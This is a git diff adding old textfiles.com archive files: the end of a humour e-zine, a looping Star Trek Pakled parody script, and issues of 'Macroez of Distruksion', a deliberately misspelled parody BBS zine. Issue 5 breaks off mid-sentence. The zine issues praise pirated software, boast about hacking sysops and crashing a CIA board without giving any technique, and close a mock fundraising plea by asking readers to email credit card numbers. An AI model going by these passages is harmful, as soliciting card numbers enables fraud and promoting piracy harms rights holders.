"unsubscribe + droppings". + + _Submissions_: For a current submissions guidelines file, send a + message with the subject line "submission guidelines". To send an + actual submission, use the subject line "submit droppings". + + _Shameless_plugs_: If you enjoy M00se Droppings, you may also enjoy + _Superguy_Digest_, a shared-world collaborative fiction group + devoted mostly to humorous superhero fiction. To subscribe, send + mail to listserv@ucf1vm.cc.ucf.edu, containing the command + "subscribe superguy your name here" in the body of the message. + (Naturally, there are no quotes in the actual command, and you use + your own name.) Also check out the Superguy Web Site, at: + + http://www.halcyon.com/superguy/superguy.html + +.. + + +-- +William R. Dickson, M00se Illuminatus.................wrd@beer.wa.com +Co-Author, Internet Explorer Kit for Macintosh........iek@tidbits.com +Author, "Team Cynical," Superguy Digest....listserv@ucf1vm.cc.ucf.edu + + + diff --git a/textfiles.com/magazines/M00SE/ml002.txt b/textfiles.com/magazines/M00SE/ml002.txt new file mode 100644 index 00000000..2d608f6b --- /dev/null +++ b/textfiles.com/magazines/M00SE/ml002.txt @@ -0,0 +1,349 @@ + _ _ _ _ + .' `-' `. ..' `.' `. + | moose `-. .-' lite | + `--------;` `;----------' + .-(o:o)---------. + | | #2 + ; _ o o | + `. `.' ~~-. ; + | : `----' + + + + STAR TREK: THE NEXT GENERATION + + A Twenty Minute STTNG Short: + + "The Stupidity Snare" + +Scene: Standard shot of Enterprise in orbit. + +Picard: Captain's Log, stardate, et cetera, et cetera. During a + mapping mission of the Omicron Kappa system, we came + across the wreckage of a Pakled ship. Commander LaForge + assisted in the decoding of information recovered from + the ship's black box. + +FADE IN: + +INT. PAKLED ENGINEERING SECTION + +GERARLD is standing in front of a burned-out console. Faint trails of smoke are +drifing up out of several large holes in the front. Behind him stand ALFREYD, +MORTIMERD and BENUTI. Each takes a turn to point at the console and deliver a +line. + + +GERARLD: It is broken. + +ALFREYD: (nods) It is broken. + +GERARLD: It must be fixed. + +MORTIMERD: It is broken. + +GERARLD: (points at BENUTI) You are smart. You will make it go. + +BENUTI: It is broken. + +GERARLD: It must be fixed. + +BENUTI: (points at ALFREYD) You are smart. + +ALFREYD: I am not smart. (points at GERARLD) You are smart. You + will make it go. + +GERARLD: What is it? I am not smart. (points at ALFREYD) You + are smart. What is wrong with it? + +ALFREYD: It is broken. + +GERARLD: It must be fixed. + + (fade up Horns of Doom, cut to main title sequence) + + +(Space, Blah Blah Blah) + + +INT. PAKLED ENGINEERING SECTION + +GERARLD, ALFREYD, MORTIMERD and BENUTI are still standing in front of the +burned-out console. + +ALFREYD: It is broken. + +GERARLD: It is Broken. + +ALFREYD: (nods) It is Broken. + +MORTIMERD: (points at BENUTI) You are not smart. + +ALFREYD: It must be fixed. + +MORTIMERD: It is Broken. + +MORTIMERD: (points at BENUTI) You are not smart. + +GERARLD: It is Broken. + +MORTIMERD: (points at BENUTI) You are not smart. + +GERARLD: I am not smart. (points at MORTIMERD) You are smart. + +MORTIMERD: It is Broken. + +ALFREYD: (nods) It is Broken. + +GERARLD: It is Broken. + +ALFREYD: (nods) It is Broken. + +GERARLD: It is Broken. + +GERARLD: We look for things. + +ALFREYD: It must be fixed. + +GERARLD: I am not smart. (points at MORTIMERD) You are smart. + +MORTIMERD: (points at BENUTI) You are not smart. + +ALFREYD: It must be fixed. + +BENUTI: (points at GERARLD) You are smart. You will make it go. + +MORTIMERD: (points at BENUTI) You are not smart. + +BENUTI: It is Broken. + +BENUTI: (points at GERARLD) You are smart. You will make it go. + +GERARLD: It is Broken. + +ALFREYD: (nods) It is Broken. + +MORTIMERD: It is Broken. + +BENUTI: It is Broken. + +GERARLD: It is Broken. + +BENUTI: (points at GERARLD) You are smart. You will make it go. + +MORTIMERD: (points at BENUTI) You are not smart. + +ALFREYD: It must be fixed. + +GERARLD: We look for things. + +BENUTI: It is Broken. + +MORTIMERD: It is Broken. + +BENUTI: It is Broken. + +GERARLD: I am not smart. (points at MORTIMERD) You are smart. + +ALFREYD: It must be fixed. + + (fade up Horns of Doom, cut to commercial) + + +INT. PAKLED ENGINEERING SECTION + +GERARLD, ALFREYD, MORTIMERD and BENUTI are still standing in front of the +burned-out console. + +MORTIMERD: It is Broken. + +GERARLD: It is Broken. + +BENUTI: It is Broken. + +ALFREYD: (nods) It is Broken. + +GERARLD: It is Broken. + +BENUTI: (points at GERARLD) You are smart. You will make it go. + +MORTIMERD: (points at BENUTI) You are not smart. + +GERARLD: I am not smart. (points at MORTIMERD) You are smart. + +GERARLD: We look for things. + +MORTIMERD: (points at BENUTI) You are not smart. + +GERARLD: I am not smart. (points at MORTIMERD) You are smart. + +ALFREYD: It must be fixed. + +BENUTI: It is Broken. + +ALFREYD: (nods) It is Broken. + +GERARLD: It is Broken. + +MORTIMERD: It is Broken. + +GERARLD: It is Broken. + +ALFREYD: (nods) It is Broken. + +MORTIMERD: It is Broken. + +GERARLD: It is Broken. + +MORTIMERD: It is Broken. + +GERARLD: It is Broken. + +MORTIMERD: It is Broken. + +GERARLD: It is Broken. + +MORTIMERD: It is Broken. + +MORTIMERD: It is Broken. + +MORTIMERD: It is Broken. + +GERARLD: We look for things. + +GERARLD: It is Broken. + +ALFREYD: (nods) It is Broken. + +MORTIMERD: It is Broken. + +BENUTI: It is Broken. + +GERARLD: It is Broken. + +BENUTI: (points at GERARLD) You are smart. You will make it go. + +GERARLD: It is Broken. + +MORTIMERD: (points at BENUTI) You are not smart. + +ALFREYD: It must be fixed. + +GERARLD: I am not smart. (points at MORTIMERD) You are smart. + +GERARLD: We look for things. + +BENUTI: It is Broken. + +ALFREYD: It must be fixed. + +GERARLD: It is Broken. + +BENUTI: (points at GERARLD) You are smart. You will make it go. + +GERARLD: It is Broken. + +GERARLD: It is Broken. + +BENUTI: (points at GERARLD) You are smart. You will make it go. + + (fade up Horns of Doom, cut to commercial) + + +INT. PAKLED ENGINEERING SECTION + +GERARLD, ALFREYD, MORTIMERD and BENUTI are still standing in front of the +burned-out console. + + +MORTIMERD: It is Broken. + +ALFREYD: It must be fixed. + +ALFREYD: It must be fixed. + +GERARLD: It is Broken. + +GERARLD: We look for things. + +ALFREYD: It must be fixed. + +GERARLD: It is Broken. + +MORTIMERD: (points at BENUTI) You are not smart. + +ALFREYD: (nods) It is Broken. + +GERARLD: It is Broken. + +BENUTI: It is Broken. + +GERARLD: It is Broken. + +MORTIMERD: (points at BENUTI) You are not smart. + +MORTIMERD: It is Broken. + +ALFREYD: It must be fixed. + +MORTIMERD: It is Broken. + +GERARLD: We look for things. + +MORTIMERD: It is Broken. + +GERARLD: I am not smart. (points at MORTIMERD) You are smart. + +MORTIMERD: It is Broken. + +ALFREYD: It must be fixed. + +MORTIMERD: It is Broken. + +MORTIMERD: (points at BENUTI) You are not smart. + +GERARLD: It is Broken. + +GERARLD: It is Broken. + +BENUTI: It is Broken. + +MORTIMERD: It is Broken. + +ALFREYD: (nods) It is Broken. + +GERARLD: It is Broken. + +MORTIMERD: (points at BENUTI) You are not smart. + +GERARLD: We look for things. + +GERARLD: I am not smart. (points at MORTIMERD) You are smart. + +GERARLD: We look for things. + +MORTIMERD: (points at BENUTI) You are not smart. + +GERARLD: It is Broken. + +ALFREYD: It must be fixed. + +MORTIMERD: It is Broken. + +GERARLD: It is Broken. + +ALFREYD: (nods) It is Broken. + +MORTIMERD: (points at BENUTI) You are not smart. + +BENUTI: It is Broken. + +GERARLD: We look for things. + +GERARLD: It is Broken. + +FX: loud explosion. Ship depressurises; GERARLD, BENUTI, + ALFREYD and MORTIMERD are blown out into space. + + +THE END. Roll credits. diff --git a/textfiles.com/magazines/MACOD.1 b/textfiles.com/magazines/MACOD.1 new file mode 100644 index 00000000..ac183ee3 --- /dev/null +++ b/textfiles.com/magazines/MACOD.1 @@ -0,0 +1,22 @@ + +T E X T F I L E S + +

+MACROEZ OF DISTRUKSION (Unknown) +

+

+ + +
+
Filename +Size +Description of the Textfile
macod-01.txt 4639
 MACROEZ OF DISTRUKSION Issue #1 +
macod-02.txt 6280
 MACROEZ OF DISTRUKSION Issue #2 +
macod-03.txt 9503
 MACROEZ OF DISTRUKSION Issue #3 +
macod-04.txt 11315
 MACROEZ OF DISTRUKSION Issue #4 +
macod-05.txt 20462
 MACROEZ OF DISTRUKSION Issue #5 +
macodinf.txt 693
 Basehead's Explanation of the Point of MACROEZ OF DISTRUKSION +

There are 6 files for a total of 52,892 bytes.

+ + + diff --git a/textfiles.com/magazines/MACOD/.windex.html b/textfiles.com/magazines/MACOD/.windex.html new file mode 100644 index 00000000..94a3b1f2 --- /dev/null +++ b/textfiles.com/magazines/MACOD/.windex.html @@ -0,0 +1,22 @@ + +T E X T F I L E S + +

+MACROEZ OF DISTRUKSION (Unknown) +

+

+ + +
+
Filename +Size +Description of the Textfile
macod-01.txt 4639
 MACROEZ OF DISTRUKSION Issue #1 +
macod-02.txt 6280
 MACROEZ OF DISTRUKSION Issue #2 +
macod-03.txt 9503
 MACROEZ OF DISTRUKSION Issue #3 +
macod-04.txt 11315
 MACROEZ OF DISTRUKSION Issue #4 +
macod-05.txt 20462
 MACROEZ OF DISTRUKSION Issue #5 +
macodinf.txt 693
 Basehead's Explanation of the Point of MACROEZ OF DISTRUKSION +

There are 6 files for a total of 52,892 bytes.

+ + + diff --git a/textfiles.com/magazines/MACOD/macod-01.txt b/textfiles.com/magazines/MACOD/macod-01.txt new file mode 100644 index 00000000..a2a3c12d --- /dev/null +++ b/textfiles.com/magazines/MACOD/macod-01.txt @@ -0,0 +1,121 @@ + + MACROEZ OF DISTRUKSION + + + + + **PRESIDEN T OF THE ORGANIZEZASION:** + + **AMADEUS** + + Issue nombar 1!!! + + VISE PRECEDENT!: + +BLACK PLASMA! + + OTHER VISE PRECEDENT EHEHEHEHEHEEH + +the emperer of flame + + SECOND UNIT JUNIAR APRENTISE AUXILYARY VISE PRECEDENT: + +baseHead + + JUNIAR TREASURAR + +BULLwinkle!! + + now I'm going 2 tell U about it! and listen up! +it's for u like if u wnat copies of it press +shift f7!! if ur in word prefekt.... and l then but I don't know +any other programs so your on u're own their!! and i don't want +mail saying that U dont no how 2 make u're printar 2 workd +so dont bother me cuz, well, on2 the phile!!!!! + Macroez of Distruksion is a brand new group for all u that +want 2 be kewl and make WILD CRAZY KEWL MACROEZ!!!!!!!!!!!!!!! So +like if u want tips from the experts on how 2 make the slykest +macroez u cam 2 the rite place! + + HEAR'S A WORD FROM YOU'RE VISE PRECENDENT....... + +.............BLACK PLASMA!!!!!!!!!!!!!!!!! +hey man yo listen up yo i got somethin' 4 all of u. look statring +w/#5 MACROEZ OF DISTRUKSION will come w/an anar/>>>>>>^^^^^hhee + + +AMEDEIS PR0DU/>>>>>>>>>>> TIP 4 the MOnthe <<<<<<<<<<<<<<<<< + +the tip for this month is......... + +............go into where the BBs says d's or on my bbs it says d (defalts. +because i know how 2 mod things good THAT"S Y!n ok now get out of it b-cause +u don't need to do nothign in there b-casue weaaare using PRO KOMM that is the +best comm program in the univierse!!! and the erly verzons R >>>D BEST<<< if u +kethc my dritf!!! ok now hit hte btton that make s u changu you're mackroez. +now change it, adn voo-aalla it workz unless u mes'd it up like an yidiot. but +1 way theat i make them good is by when u r m8king it/them u us e the crtal and +numbars that corespande wiht them so u can get them blinkign. + + +heres a GREEEEEEAAAAAAAAAAT (tony the tigger heheheheh) macor + + + + + + + + +its our >>>>>>>>>MAKROE<<<<<<<<< OF THE MONHT!!!!!!!! + / +\* // ===\ *^ *^ =====\ ( ! [ / $ \ + \*/ / | *^ *^ # ( ;; ! [; \ '; $ \ + || | | *^======^ \****'| ( ! [ \ | + || \+++/ \+++**+/ @ '| (======! ] \ ';;;' | + | | \ / + \-----------------------------| \========== + + + + + + + + +>>>>>>>>> leTTAR of the monTHE!! <<<<<<<<<<<<<<<< + + + + +Dear Amadeus: + This past year has been of the most stimulating kind, a quasi-Descartian +infusion of administrative accountabilities, with their own respectively +manipulative acquisitions, and naturally the visionary enthusiasm which are by +all means begetted during the normal course of our Wittgensteinian existence. +If this be the pium desiderium by which we are ennobled, then certainly an +abrogation shall never materialize which would end our propadeutically benign +schedules. And, just as in previous years, our big, furry eyebrows serve +their presuppositional determination to do their little ol' Anaxamanderian +duties! + + Yours truly, + + John Witcomb + + +REPLY: ok thank u john whittcomn 4 that gr8t letar! + + + + The >>>>presidnets<<<<<< cornR + + Amdeus is the prsesdint of corse. + +Okay this is him. Amadeus, thats who!!!!!!!!!! Every issue has theis s +sec +section where i tlak to the readars about what us >>>HIHG<<<< randking +officars R doing and it is 4 YOUR benefit so LISSEN UP HWEHEH!!!!!! So this +is what i have tosay aobut us and it is very impertent becaus i considar +it 2 b a democrassy and u can get info, if u nowhat i mean. so here goes... + +....sorry folks no precedents cornR this month. U will half to wate until +next month so just chill th fuck out u godddam nbeitch. hehehehe. hehhe +hehhe no but seriouslly +wiat oh nevarmin +nevrmind u can +can't do shit i messd up agian1111111 + + + + + +OOKAY THIS IS THE END OF ISEUE HTREE. +I HOP E U LIKD IT I SHOAR DID BUT WE'LL +BE BACK NEXT ISSUR WITH SOM E FUNCKY +FRESSH NEW --SEX--TIONS HEHEH SO DON'T +GO AWYA WELL BE WRITE BEACK!!!!!!!!!!! +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +----------------------------------------------------------------------------- +Call the MACROEZ of DISTRUKSION Prime Distributor: + + The Dark Cornar 410-889-2729 + diff --git a/textfiles.com/magazines/MACOD/macod-04.txt b/textfiles.com/magazines/MACOD/macod-04.txt new file mode 100644 index 00000000..6f60c00d --- /dev/null +++ b/textfiles.com/magazines/MACOD/macod-04.txt @@ -0,0 +1,305 @@ + +///-----------__----___------------------------------------++++++\\\\ + + MACROEZ off DISTRUKSION + +-==-=-==--==--==-=--=-=-=-=-=-=-=-=-==-=-=-=--==-=-=-=-=-=-=-==--==-= + + + **PRESIDEN T OF THE ORGANIZEZASION:** + + **AMADEUS** + + Issue nombar 4!!! + WOW I CAMT BELEIVE ITS ***$*$4**** alredy1!!heeh + + VISE PRECEDENT!: + +BlACk ACiD + + OTHER VISE PRECEDENT EHEHEHEHEHEEH + +the emperer of flame + + SECOND UNIT JUNIAR APRENTISE AUXILYARY VISE PRECEDENT: + +baseHead + + JUNIAR TREASURAR + +BULLwinkle!! + + SECRITARY OFF DEVELEPMENT + +Intigratar!! + + CHEIF OF MUNISIPLE ACOUNTINg REDESCRIPSIONS + +Captain ZERO!!!!!!!! + +-==--==---=-=-==--==--= MACROEZ off DISTRUKSION HAS SUM CHAINJIS!!!!! + + look macroez off distruksion is undar some majir changis +so we all just need 2 bare w/ it 4 a wile!!!!!!!!! 4 1 we have a NEW VICE +PRECIDENT!! since BLACK PLASMA was bustid by the fedds we neded 2 find +some1 moar REALIEABLE!!!!!!!! so we welcome our new vice precident + + + + + + + BLACK ACiD!!!!!! + + for 2 the membarship prise uas gone up to 225$ to ofset the costs off +finding our new vice precednet! alo all curent membars must pay $$$$$ 25 +to upgrade!!!!! + and finaly for 3 ehehehehheheh we have a NEW TITAL !!! SCREAN + u alredy hjave probley notised it its cool i likle it do u + if u like it emai lme on my board THE DARK CORNAR or on any othar + bbs i m on!!!! + + + +STOR-E SEXTION EHEHEHEH + hear in this stor-e section we have -=-=-=-= 2 =-=-=-== +STORYS!! first off al we have an ALL-lNEW STOR-E that wil lstart now and +continU up thrU issU ######## 8!!!!1 here is part 1 + +up in ther bilding pepal were talking "lok whats that" --=- what may u ask +were they refering 2 weel it so hapens they spyed a U F O in the sky!! that +stands 4 "unidentifyed faling obgect if u dont no) + "wel what is it????????? 1 person ased + "i dont no" another sed to witch anothar replyed "maybe it's ALIENS!! +ad that was xactly what it WASSS!!!! ALIANS INVADED EaRTH!!! + + 2 b continued + + + + +ANAR/>>>>>>>>MAKROE<<<<<<<<< OF THE MONHT!!!!!!!! + / +\* // ===\ *^ *^ =====\ ( ! [ / $ \ + \*/ / | *^ *^ # ( ;; ! [; \ '; $ \ + || \+++/ \+++**+/ @ '| (======! ] \ ';;;' | + | | \ / + \-----------------------------| \========== + +exsalent macoe it has won 2 issUs in a ROE!! it is now are RECARD WINNAR! +wil the makor of this macroe pleace step foarth!! we'd leik 2 congradiel8 u! + + + + + + + + +LETTAR OF THE ISSU hear it ss this lettar ws sent 2 us by Phil Horman. + +Dear Amadeus: + This past year has been of the most stimulating kind, a quasi-Descartian +infusion of administrative accountabilities, with their own respectively +manipulative acquisitions, and naturally the visionary enthusiasm which are by +all means begetted during the normal course of our Wittgensteinian existance. +If this be the pium desiderium by which we are ennobled, then certainly an +abrogation shall never materialize which would end our propadeutically benign +schedules. And, just as in previous years, our big, furry eyebrows serve +their presuppositional determination to do their little ol' Anaxamanderian +duties! + + With hope for the future, + Phil Horman + +wel THANKS PHIL 4 that enlitening peace of info we wil tresar it 4evar & +it wil be in the ANALs of MACROEZ of DISTRUKSION until are seksesars take +ovar the publickasion!!!!!!! + + + + + + + +AND JUST WIN U THOUGTH it was SAIF 2 say "AMCROEZ OF DISTRUKSION IS OVAR" its + +THE MACROEZ OF DISTRUKSION BB REVUE!!!!!! hear we wil rate man-E BBs's on +a veriaty of factars!!! & we will give EECH BBS a RAIDING to hepl U deside +WITCH BBS's 2 CAL!!!! we wil rate EAC BBS a numbar from 0 to 1000!!!!! + +Hear's the 1st B B S!!!! + + The Elektranick Conectsion ## 411-0165 + Sisop: The Mastar + + the electranik conecttion fetars man-E idifarant things U can do +leik it has u kno gam'z & shit it has TRAIDWARZ REGISTARED!!! man & it has +some kewl subz leik 'mega death fan usb" & shit + unfoartinatly to the bored's disscreadit their r not man-e warez +witch is y this bbs doesnt get a perfict 1000 but stil i recomennd this bbs +if u r looking 4 sum kelw gmes and subs + RAIDING!!!!!!: 882.6 + +another 1 9man i rely leik doing ths ehehheheheh) + + The Dark Cornar ## 104-1079 + Sysopp: Amadeis thats rite are very own precedint + + now THIS is 1 kewl bbs man it has like all sorst of shit +man if U r looking 4 WAREZ thsi bbs is the -=-=-=- =1-=-= placse i +recomand u go! man u can find WAREZ & ANARKY EVERYWRAR hear------and thier +are many kelw and orijenal mesag e subs2 like a musci sub and a sub 4 +compotar gams and a movy sub + in n e cace THE DARK CORNAR is 1 GRATE BBS!! it is o a net 2 +"Wareznet intarnacional" so if u rely want ALL THE NEWIST WAREZ cll ehar!! + RAtEING: 1000 a perfcet SCORE!!! congradileacions go out 2 AMADIES +and his AWSOME bBs!!!! + +hears the last 1 4 this isue + + The Lsat Spel ## 555-1532 + Syspo: Relpicatrae + + man look if u r lookign 4 a BADBBS this i it!!!1 i loged on & said +2 the sisp "hey now wera r u're warez" and all he hda 2 say ws"look if U R +looking 4 a plse 2 get warez this is NOTTT it!! no allu can do hear is psto" +so i said"fine ill post" --can u beleive that no warez no anarky no GAMEZ evan +just pstos but thast NOOT THE WORTS PARt111111 + leik i hti * u no what u usaly hit 2 se subs --&their r NO good ubss +i meen their r NO subsz for metalicka eva no comp gamez sub no warez NOT EVEN +A DAM SEX SIUB can u beleiv it i sure couldn''t + n e way ehehehe) all their we're we're leik politicks & boaring shit +so i said 'man look can u make a perl jmam sub" & u no wat the sispo said wel +u can prolly guecs he gave me lot a shit bout "THIs aidnt the apcle 4 that' +so i said "shit yo their aintevhno warez' and i hit /P anbiout as fast as u +can imgine and we this BBS JUST PLANE SUX!!!11111 + RAITEING: 0 thats riet a FAT 0 not evan a 1 man this bbs is one +fucked up bbs no warez no gaems + + + + + + + *************THE PRecIdENt'S cornR + bought 2 u by AMADEUS are PRECDIENT and USAR OF THE MONHT!!! + +ok hear i was igong 2 talk about MAKEING NUE MACROEZZ &&&& how slick this +oarganizeasion is but man i just herd the DOGERS got KICKED by seatal. man +THE MARRINARS are SARRY as i dont no what so i m asking u fans of the dogers +out their 2 donait $$$$ 1,000-5,00 to finanse a fund-razor 2 hepl the DOGERS +al we can!!!!!!!!!!!!11111111 have the monE will go 2 ME 2 benefit the +efort 2 hepl the dogers & the othar hafl wil go STRAIT 2 the dogars themslefs! + +OK i no that U r saying so how do i giv e him the money. well so all u do +is FIND US on a BBS and then EMAIL us about it. Then ASK su how tio do it +& then well TELL u about it and U BETTAR GET THIS DOWN B-CAUS I'M NOT GOING +OVAR IT AGEIN!!! I'M FUKIN SIKC OF U GOD DAMED BASTARD S NOT REMENBERING +THIS SIMPLE ASS SHIT SO DON'T ANNYO THE FUK OUT OF ME U SHITHEAD!!!!!] +O & lisan email me w/ u're redit card ###################### & i wil get u're +contrebucion giong even b4 yestarday ehehehehehehehe + +eheheheheheheheh so man hear r my finel cloasing words +"When al hoap is givin up, dont loose u're fathe in u'reself!" + + + + + +wel thats it 4 now their's all tbhe bsb info u wil nead if u want ane more +info just e-maile me +i wil go no ehehehheheheheheheh + + +-=-==-=-=-=-=- MACROEZ of fDISTRUKSION=-=- +/s ehehehhe + + +----------------------------------------------------------------------------- +Call the MACROEZ of DISTRUKSION Prime Distributor: + + The Dark Cornar 410-889-2729 +----------------------------------------------------------------------------- +Call the MACROEZ of DISTRUKSION Secondary Distributors: + + The Cellular Butt Plug 410-426-7737 +----------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/MACOD/macod-05.txt b/textfiles.com/magazines/MACOD/macod-05.txt new file mode 100644 index 00000000..405b704c --- /dev/null +++ b/textfiles.com/magazines/MACOD/macod-05.txt @@ -0,0 +1,540 @@ + +///-----------__----___------------------------------------++++++\\\\ +\\\\\\\\\\\\\\\\\\\\\\\\\\;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + MACROEZ off DISTRUKSION + +########################################################################### +-==-=-==--==--==-=--=-=-=-=-=-=-=-=-==-=-=-=--==-=-=-=-=-=-=-==--==-= + + + **PRESIDEN T OF THE ORGANIZEZASION:** + + **AMADEUS** + + Issue nombar 5 (FiVe!!!!!!)!!! + YESSS WE R NOW MAKEING IT!!! IN REEL LIPHE!!!!!!!!!!!!!!!!! + + VISE PRECEDENT!: + +BlACk ACiD + + OTHER VISE PRECEDENT EHEHEHEHEHEEH + +the emperer of flame + + SECOND UNIT JUNIAR APRENTISE AUXILYARY VISE PRECEDENT: + +baseHead + + JUNIAR TREASURAR + +BULLwinkle!! + + SECRITARY OFF DEVELEPMENT + +Intigratar!! + + CHEIF OF MUNISIPLE ACOUNTINg REDESCRIPSIONS + +Captain ZERO!!!!!!!! + + PRINSIPAL DEVELEPOR + +MARduk + + JANITER + +kutulU + + + + + + +ok we r giong to led of the issU w/ a poam my cauleege the emparar of flame +wrote himsefl + + rozes R red, + vilits R blue + suger is sweat + & U R NOT !!!!!!!!!!!! EHEHEHEHEHEEHEHEHEHHE + +i leik it b/c i was expecting it 2 say "& so r u" ehehehehehh what a suprise + + + + + + + +alrite hpw can we not forget the STOR-E SEXTION +hears the netx part of ALIANS:THE ENVATION + + ok so as u no alians invated earth. 1 of the alians sadi "i am +VORKON!!!take me 2 u're leador + "we dont have a leador" said a bystandar but what do u need 2 no" +"take me to u're leador" said vorkon "wel we r democrisey we dont have a +leador in the u.sa.." "wle let me see u're leador" "i can tell u wear r +precident is" "i need 2 c u're leador" "well are precident is are leador" +"alrite i will see u're precident "good he is in the wite house" "goodbye i +m VORKON" + and the alian VORKON wetn 2 the wite house 2 c the precident!!!!! +(not amadeus hte preceidnet of hte u.s.1!!!!!!!!) + + 2 b continued + +& now for SEX-tion SEVEN out off elevan off BILLY'W EVeryDAY LIFE?!!!!! + +okay so the last time we saw our friend blilly he was faling of off a +PERYLUS CLIF!!!!! WATHC OUT BILY U KULD GET HERT!!! WILL HE DIE OR BEE +SAVED!!!!!! READ ON 2 FIND OUT ! ! ! ! !! ! ! + + +he is faling and falikng. wahat will i do now he said. What is that over +there he just saiid. he didn't want 2 think abuot it well bwecasue IS THAT +WHAT U WOIULD THINK ABOUT IF U HAD JUST FALLING OVER A GOD DAMNED CLIF U +DUMB ASS!!! NO I DIDN'T THINK SO!!!!!!! ON TO THE STORY!!!!!!! + +Anyway, he loked as hadr as he coudl at the thing because well I 4 ONE WOULD +RATHAR LOK AT SOMEHTING INTARESTING THAN THE GOD DAMBED GROUDN THAT I'M ABOUT +TO FUKIN SPLARTTAR ALL OVAR!!! the thing cam e closra and clasor. it was +blue. and it had starrz and moonz paintd all ovar it. + + +>>>>>>>>>>>>>>>>>>>>>>>>>>IT WAS A MAGIKAL WIZARD<<<<<<<<<<<<<<<<<<<<<<<<<<<< +>>>>>>>>>>>>>>>>>>>>>>>THAT HAS CUM (HEHE I SAID<<<<<<<<<<<<<<<<<<<<<<<<<<<< +>>>>>>>>>>>>>>>>>>>CUM HEHEH) 2 SAVE HIME!!!!<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +helloi beilly said the magical wizaard. oh i am vary vary afraed of u sia d +bily OUR HERO YEESS!!!!!!! don't be afreaid sai t he wizar.d he then +yelled + + +MY NMAE IS MYSTERIO !!!!!!!!!!!!!!!!!!!!!11 + +all hail mysterio sia d billy. now i willl save u +and billy all of the suden was in his hom liying in bed. "thank u mysterio +4 that exsperiansce!!!!! + +godo beye until next STORY where mysterio turnes evil!! you heard me rigte! + + + + + + + Whew, that was a close one said bily. + + + + + + oops that should b=n'ty be there how do i erace in this damb thign!!! + + + + + +alrite hears thre NEWEST SEXTION::::: BLAKC ACID's CODE SEXTIOM!!111 + +just tryeing 2 do my jobb as VICE PRECIDENT ehehehehehehehehehehheheehhe +so hear we r in this sextion i wil think of thigns 2 say && put them in2 coad +it is u'rejob 2 figer out what it RELLY Says ehehehehheheheh + +heasr #1 + +ujhavejnojlifejifjujrjactuayljfigieringjthisjoutjehehehheheheheehe + +& hears #2 its a litatl hardar + +manu aredoing GOODehehehehehehhhe + +& hears #3 the FINAL CRIPTOgRam + +plnccucuavl tyrsciugarialt adigvanehehehehhheheheheeh + +wel hear it is floks the 1ST intalmint of BLACK ACiD's ANAR/COM s0 man l00k out fro i don't D/L IT MAN JST STAY AWAY + + + + + + +now as U no as MACROEZ groes & we half more MEMBARS we get moer ARTICALS +makeingt htis the BIGEST issU of MACROEZ EVAR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +hear's 1 from are JANITER KUTULU!!!!!!!!!!!!!!!!!!!!!!!! + +Like y0 d00dz this is new membar kutulu like say it k00t00l00 cuz liek if you +dopn't Im gonna haf to like go to yur house and like beat you yp cuz it my name +and you cant say i rong! + +Why did | join macroez? you are asking me, and im telling to its becuz of +MACROEZ! +Macroez are like the main poart of mosdeming cuz like when you have to get liek +all the ware'z and the sysop like suxx and he makes you post and you posdt and +hes like this SUXX! and ddon't you hate that, me to.. + +Here's whut u as a marcroz membar can do qwhen the sysops are really suky and +they like w0nt let you get WARE'Z and they pout like a ratio on ! + +Lije y0, first youy say 'C' and lioek the sysop will pull you into chat, and +like if he doesn't hit 'C' again and like of course he;ll chat you, cuz y0, +you're in macroez and youve got POWAR! OR else you jsut tell us hes not like +kewl and we hack him!ahahah1111 and then he goes down and guesswhwt NO MORE +RATIONS!ahahahahahahahahahah~~!~!~!~~!~~! + +so then like tyou say "D00d, like I got WAREZ! and like oyu have to give me +eggsemptshuns NOW so you klike need all the warz"! and then likie ghhaah the +sysop will like hit F1 and like he will give you eggsemptshuns anmd you can get +all the warez aqnd uploaf him like the same fgile like 100 timesahgahahah~! and +theres nothing he can d0 t0 y0u! + +Or else like if you are a Real P()\/\/ /-\ R~! D00D! liek u can get aroond the +rations like by showing all the l-serz lie your MACROEZX~! +and you like psot all your macros in like one post each and you get like a big +ratiobn s and then you can like go get WAREZ! + +Like y0-, I gota go make my macroz and like get gigz of warez, so like cann the +Pit of |> <> <> |\/| nasd y0 like tlel k00t00l00 like your MACVROEZ! And like +NO RARTIONS! gabhaha! + +CEEYAS L8R! + + + +awsome aritcal K00t0000l00 (c im lenring ehehehhehhehehehehehe) but we wil +kill those ahahaha + & now an artical from mar DUK!!!!! he is abseced w/ POWAR it ceems + + * M0Re P0WaR + +Y0 liek this is like k00l!!~!~ Liek the makr0z are really takin 0ff/. +But liek we kan get al0t of p0war!!~! +I kame t0 talk 0f the nead f0r like m0re p0war~!!!Liek maby we k0uld liek +start makin liek stuff liek we k0uld get really k00l k0des!!!ThEn we w0uld +hav P()wAr!~!!Liek mmy friends father w0rx f0r liek this plake wer +they mak gamez, and liek he kan get k0dz t0 liek gamez, and we k0uld +chang em, and liek then they w0uld liek bel0ng t--0 the makr0z. +Liek then we w-0uld hav p0war.Exept we w0ulfd hav t0 g0 under earth +haahhaahhhahahahahahhahahahahhahahahhahahahahhahahahahahahah, kause it +is liek n0t happy with the CIA pe0p,le. but liek it will be k00l, kause +if they k0me after uss we kan say we were highly drunk, and then we woudl +really k00l, kause we doged the FBI!!~!And we w0uld hav mor p0war kause +pe0ple would kn0 =w wh0 we are!!~!~ Liek, y0, that w0uld be liek w0w!~!~! +Plus I g0t special k0des that kan krash the CIA pe0ples BBS. Liek they w0nt +n0 what hit em d00d!!!! + + * 0narary Meamberz + +Liek I w0uld liek to nominate Bevis & Butthead as 0narery memberz +t0 the makr0z. They are verry funny, and liek y0, they mak me +g0 ahhahahahahahhahahhaha. Kause they are liek s0--0000 k00l +but liek d00d, d0n't take my w0ad f0r it. Liek watch the shh0aw f0r y0ur- +sealvf. They are liek verry k00l, and have l0ts 0f fun things planed +Liek this is why I say they w0uld be really g00d memberz!!! + + * Makroz BBS Meat + +I prepoze we hav a bjbs meet. Kause like there are alklot of k00l +d00dz and d00detts in the makr0z. It would be liek reaklly fun, kause we could go +t0 skateland. We kould get real;ly 